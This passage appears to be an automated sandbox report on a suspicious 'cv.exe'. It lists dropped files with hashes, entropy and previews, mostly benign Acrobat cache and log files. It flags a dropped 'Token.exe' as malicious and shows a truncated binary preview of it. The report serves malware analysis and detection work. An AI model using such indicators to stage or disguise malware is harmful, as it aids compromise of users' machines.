SHA-512:	9B89A8E6012D2E7ECC69F73C3CE825A33105B87B5A3AED83C0FC9D9065FCE8EE7BC8375FDAFE03F143EB37D4BB9091A19462863AEFACA7912ABE0C91768E2670
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.280603938623605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJf21rPeUkwRe9:YvXKXVrUTbdZDVG+16Ukee9
MD5:	9AF5BEFCECCD6E4DEE17C2C08C37E7ED
SHA1:	278CF1FB0CE593370587B876B844C0547B40C3A9
SHA-256:	3E1E48515B1BC9C8A3FB72EB3210D27A4182FE649681D998F6CFB77AB953E180
SHA-512:	1925F0C22D4C1CF74BA756475C6C9CA07AF090E7BD445EA7FDB5C32C3AE70B8F1830E2A421DDA44236AA632B4C95FDC1D14D574FF1D868D2BA499257FBE7667B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668170343534976
Encrypted:	false
SSDEEP:	24:Yv6XVrUXzCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:YvIrwgBgkDMUJUAh8cvMj
MD5:	6F9ECDD21E622CEC5DB1B07DFA5A884E
SHA1:	8F0B1E10CB098BECACC445A10730AA4ACB857F3F
SHA-256:	8C3690E46C2C7A7FD11BE8EEBCBC91B8FC018F35969093428356CADEF8C3E728
SHA-512:	B45496C788AD1B0B3949E099256B7CD49C737B6716425CA559C46B634B469E284B76EF65AF3EBB5C5E6522FC8DA5201255EE850DFD48B79EAD8211002846900B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.258548658861011
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfshHHrPeUkwRe9:YvXKXVrUTbdZDVGUUUkee9
MD5:	330AAD4914B327EA8ADF7C63D0D4D5B0
SHA1:	60654F013238E4894182091C875E3C0D689A1904
SHA-256:	325654DD21C15C5575CD6018E173EA61B848578637870796869EDDFB2A75530E
SHA-512:	F9632A5777709A9A7EFDF3E0DFAF2EA969410F6184A618254B4D80ADC1252B593CA4628BDB402D6864C6597DEC47AD2192A5798DD30278F0A61BC9E2BA4D9FAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.267112369857432
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJTqgFCrPeUkwRe9:YvXKXVrUTbdZDVGTq16Ukee9
MD5:	F43706AFB0ADB8769080ED39B400DD0E
SHA1:	876AFBF895B9CCCD65B6CBF86DA4E8B36EF00567
SHA-256:	C74FF6CCEC74D437620E0338C4F4A9C7EEA027F2039FE4B1ABF9EE6960BB510B
SHA-512:	98CA4C80D332C01BF4E1317063000AA5C9C413DCC99040CD55D2A0D52B9D97007B163FF65A1BEDD8C4BBADC611A5E37FE1BA1BC5F010EEB6076CC7145101AB94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138560144953338
Encrypted:	false
SSDEEP:	48:YWiU//ZP5xWE8aDGf3rrHg24SNIhpcVJTCuLEUSVh9qlMe:5iU//ZPCE8aDGf3rrHg24pH2JTCuLMVe
MD5:	E894A0E2A591EAF9E94627086F1BC232
SHA1:	9A9ABAA201D216EC52D44223BD0CB745F4820AEA
SHA-256:	A02304EF53458472BBC7B9E658D00BEC76AC9F284A554561FA01797B45837466
SHA-512:	F7B95F0EDD0B3C7A24E29425200882383D58781DA0BDFA82BFC77BA896636F71BFB2F6BE3A8CB8D3FB3230D9CD2321545A209CCAFB48B5F1D6BF93CF44EEDBFE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"29743cc1820b0e52fccc94e656217c12","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734092887000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2e59475a1aca146eef6a806988f1e399","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734092887000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9c5800a5191e39b74ed2e86af404b422","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734092887000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"604da5fbc0d69e49e03d29b7408f5c45","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734092887000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ea64f8a09cff2e9663fb2fbed291312b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734092887000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1a9474f963ddc74203d869c04130281a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3196707695656544
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y4N/+EXSqXj:TGufl2GL7msUKB0M0+Tb608Y4UrA7
MD5:	26EB23E40828AAD2CA4D83426BF4AEE7
SHA1:	68DD65DCF0884D461B25D466C4EA8E424F8F68AF
SHA-256:	B9EFC197FC8E18461AA95837EADDE25929267C6F7C98C836D6C504FFCB692880
SHA-512:	558D4C69B8C142A66AC74335CB8303BD0385060368CD9889B09C3DC11F74EFD12A819B4C1B0321D0F479389739BA9F0353EDBA13808336E6FBD1828459B33469
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7780995997441047
Encrypted:	false
SSDEEP:	24:7+tCwl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y4N//EXSqXlyGKaiDqLhx/XYKH:7MC+KB0M0+Tb608Y45rGKfqFl2GL7msf
MD5:	1B3DEA54355A560A02FB6044E795F98D
SHA1:	678B0F209580549378DB6B84A372B88F779917AB
SHA-256:	1E0EA13111F942C67263E7CBF0DFF58E223E2CF700F380989D0CF9D81BC0FA54
SHA-512:	C97E1E8EB9D6EBC47F04B49B5D15E2C5263E14640A9C52D8177F576987F5056D2D38676D03435E739945E0BE72B1892CEBC7108D5984984B25C2112E1C2747F2
Malicious:	false
Preview:	.... .c.....r.t$..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg2PyjM8xr8aHj32PxCjpFYhHBMHYyu:6a6TZ44ADE2PV8xr8aH7YRBGK
MD5:	EF7ABF4FF1220EADBDEB9AAC6F0D4C64
SHA1:	4877B08BDB421CE90913585F6B7F2A0E0141B20C
SHA-256:	F7034905B3EB83F53027277CDCB8DBDC89F8538BDA00879A341D22CF64C842E5
SHA-512:	4BD33E4C92B6503483D02E45F83894D386CB08AE0516072461067B62D3DDD3C70A2E60A3EF2EC8F4992A287FDC8A396EF3427EA3A76922A3A1432176D6F0E098
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\AllData\egsflr\Token.exe

Download File

Process:	C:\Users\user\Desktop\cv.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1710152
Entropy (8bit):	6.113337422939678
Encrypted:	false
SSDEEP:	24576:jZ8ghl4h2ClfoNxfHyHXyRGGp/rTNqaW6RpE0m9s8K:jZ8gPzChmxfHyHilp/rxHzRPys8
MD5:	19FE59DA84E322469ED35704AD2CFB87
SHA1:	6D7D800E2C0F455AD7ED39EAD3A812562E97C3FC
SHA-256:	ABF89117CD0E2E9C5606B42F5BBC019ADE9646300E7C621CCC7D15F2E3CE03EE
SHA-512:	11E3B40B9233380E15C1B39FEAE995E7344F26F48D3B306A4FA3CA0159FE9AB45636ABDDD1966005AD93736697649BDE6D3960B6DAA9B3945C4590F3DE7C0AF6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....J.........."...P......T........... ........@.. .......................@............`.................................l...O........Q..............H0... ....................................................... ............... ..H............text....... ...................... ..`.rsrc....Q.......R..................@..@.reloc....... ......................@..B........................H........o...@..........d................................................( ...&..(!.....s"........s#........s$........s%........&........&..(0....".......Vs....(5...t...........(6...&.{....+."..}....&.{....+."..}....&.{....+."..}....&.{....+."..}......s]...zR.r...p..(@...(D......(0....s^........:..%....0.&...&.{....+."..}....&.{ ...+."..} ...&.{!...+."..}!...&.{"...+."..}"...&.{#...+."..}#...&.{$...+."..}$...&.{)...+.6..(...}).....r...p.(r.

C:\Users\user\AppData\Local\AllData\egsflr\Token.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\cv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\cv.exe.log

Download File

Process:	C:\Users\user\Desktop\cv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	5.357044657090546
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4x84qXKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHxviYHKh3owH8tHo6hAHKl
MD5:	C04A6EAF9A2CBEB13CBBF38C1B452961
SHA1:	BA0CBC9EBF4BEE40367E626FD3D74B0FD3BD87A5
SHA-256:	9A48F02FBA568F90C1507AF13C985F9006D80F801F0ACEEE79ED4D5B638276AA
SHA-512:	775D6AE54B04197339DB6AD1EE7BE93873FEAFAA3FA8B451EA017B903C9312706B7B9A01C4DFE80A610C3EFD099C6A83BAB164C4118137F9D16E938EC09D9EC8
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulLhwlz:NllUO
MD5:	F442CD24937ABD508058EA44FD91378E
SHA1:	FDE63CECA441AA1C5C9C401498F9032A23B38085
SHA-256:	E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
SHA-512:	927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIbb54d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84UlAkKwCH:Qw946cPbiOxDlbYnuRKT8DKl
MD5:	C7B8EEF4FC50CA44A54715CE74AD7FAE
SHA1:	E18B7C71EB170C652C4766DB37865128169A08A8
SHA-256:	4379B7947A863AB96F5720E1D57ACF8D7E1003AEDD8D0C007DD21A1899311E50
SHA-512:	63C96A7B45A6AADA13FAA8AB7712F25448B35E510C9F1F4497310FF9B4A129F4652A4C0A2F22F967E78F1001B92945CD0E137CAE1B59852A2D319F0C518A864C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.1.2./.2.0.2.4. . .0.7.:.2.8.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fdtkdpk.c55.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3opzdome.dvw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ci1bjcq.1dz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fw133dej.vax.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-13 07-27-58-300.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.34517919539377
Encrypted:	false
SSDEEP:	384:yH7OjXtGRpGmyQ6F0KNcsLQeKQfC3XTiEztjR9Dr9NAVJVAVmVdV+CV+VBV+VRVQ:ccN7aQrpQHQLUb
MD5:	2B37C458CEC64EC80DAC67709D308280
SHA1:	D6EC00FCBAFA8F7F255AF96AEC93FB9EF73B1F56
SHA-256:	59B456F1FA0960126A942B04ECDAB6E08A08AB8180C6CDCD5A548416F44A3218
SHA-512:	624DBC64087E5F78049B71DFF9EB1CDB0E330D4DAF250F3AE10DC824966FC2C3ECEEA2D2B86C3A7BA00D5E1BD64E943E32953F8F02EAC669429B70D9CF692E18
Malicious:	false
Preview:	SessionID=7298e87f-f67f-479e-baf3-b30ecf3cf7e2.1734092878334 Timestamp=2024-12-13T07:27:58:334-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7298e87f-f67f-479e-baf3-b30ecf3cf7e2.1734092878334 Timestamp=2024-12-13T07:27:58:335-0500 ThreadID=7880 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7298e87f-f67f-479e-baf3-b30ecf3cf7e2.1734092878334 Timestamp=2024-12-13T07:27:58:335-0500 ThreadID=7880 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7298e87f-f67f-479e-baf3-b30ecf3cf7e2.1734092878334 Timestamp=2024-12-13T07:27:58:335-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7298e87f-f67f-479e-baf3-b30ecf3cf7e2.1734092878334 Timestamp=2024-12-13T07:27:58:335-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4053887019043
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zm3:EGvIcNYdznQ
MD5:	316C57CBC43D865576F010C845BE305E
SHA1:	C687AFBBA4FE6E166BE7D37BA2886E515B958598
SHA-256:	FD6C6F51B724B628741526A6B752093BEA4209831CDBC238BEE70E382CEC6E42
SHA-512:	9626FEA43DFF4F8B180D80B05B187011AAED4CC58ADA3A8DC1D7E01CC8B8A327427A7AB9AFB510D0D3D41595798B80FAECA72E60AEC98E3D030EF9EE5593C64A
Malicious:	false
